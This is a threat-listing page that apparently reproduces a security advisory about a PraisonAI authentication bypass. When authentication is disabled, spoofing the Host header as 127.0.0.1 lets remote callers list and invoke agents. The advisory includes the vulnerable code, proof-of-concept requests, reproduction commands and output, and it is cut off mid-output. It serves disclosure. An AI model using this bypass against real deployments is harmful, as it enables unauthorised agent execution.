Skip to main content

Threats Tagged 'ghsa-2gpf-2492-q9jh'

View all threats tagged with 'ghsa-2gpf-2492-q9jh'. Filter and sort to focus on specific types of threats.

Pro Console Lifetime

Stop chasing alerts. Route them.

Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.

Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)

View Plans & Pricing

API access activates after upgrading in Console -> Billing.

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now

Filter Threats

Narrow down the results by type, severity, or affected countries

Search threats by title, CVE ID, or description. Maximum 100 characters.
Active filters (1):Tag: ghsa-2gpf-2492-q9jh

Threats Tagged 'ghsa-2gpf-2492-q9jh'

Click on any threat for detailed analysis and mitigation recommendations

# Call API localhost-only authentication bypass via spoofed Host header ## Summary PraisonAI's patched `PRAISONAI_CALL_AUTH=disabled` safeguard for the n8n/call agent invocation API can be bypassed with a spoofed `Host: 127.0.0.1` header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled. ## Technical Details The affected code is `src/praisonai/praisonai/api/agent_invoke.py`. `verify_token()` is used as a FastAPI dependency for the `/api/v1/agents` routes, including `POST /api/v1/agents/{agent_id}/invoke`. Current code no longer unconditionally skips authentication when `PRAISONAI_CALL_AUTH=disabled`; it tries to allow that opt-out only for localhost binding: ```python _LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'}) def _bind_host_from_request(request: Request) -> str: host = getattr(getattr(request, 'url', None), 'hostname', None) return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1') async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None: if _call_auth_disabled(): bind_host = _bind_host_from_request(request) if bind_host not in _LOCALHOST_HOSTS: raise HTTPException( status_code=503, detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding", ) return ``` The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads `request.url.hostname`, which is derived from the HTTP Host header for the current request. A remote caller can therefore send `Host: 127.0.0.1` and make the disabled-auth guard believe the request is for a localhost-bound service. The protected sink is agent execution. After `verify_token()` returns, `invoke_agent()` retrieves the registered agent and calls `agent.astart(request.message)` or `agent.start(request.message)`. The same router is mounted by the PraisonAI serve feature, which imports `praisonai.api.agent_invoke`, includes `agent_invoke.router`, and registers YAML agents into the same registry. This is not a default-configuration exposure claim. The deployment must enable `PRAISONAI_CALL_AUTH=disabled` and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata. ## PoV the PoV builds an in-process FastAPI app with the real `agent_invoke.router`, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends `Host: 127.0.0.1`. ```python disabled_client = TestClient(app, base_url="http://external.example") external_host = disabled_client.get( "/api/v1/agents", headers={"host": "external.example"}, ) spoofed_localhost_list = disabled_client.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, ) spoofed_localhost_invoke = disabled_client.post( "/api/v1/agents/pov-agent/invoke", headers={"host": "127.0.0.1"}, json={"message": "host-header-bypass"}, ) ``` Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects `Host: external.example` with `503`, but accepts the spoofed localhost Host with `200` and invokes the stub agent. The complete PoV script is in Appendix A. ## PoC Run from a PraisonAI checkout with the Appendix A script saved as `pov_call_auth_host_spoof.py`: ```bash git checkout v4.6.62 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed `v4.6.62` output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "response_length": 33 }, "result": "stub-agent-ran:host-header-bypass", "session_id": "default", "status": "success" }, "stub_agent_calls": [ "host-header-bypass" ], "vulnerable": true } ``` Run the same script against current main: ```bash git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed current-head output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "respo

Join the discussion

Showing 1 to 1 of 1 result

Filters:Tag: ghsa-2gpf-2492-q9jh
Page 1 of 1
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses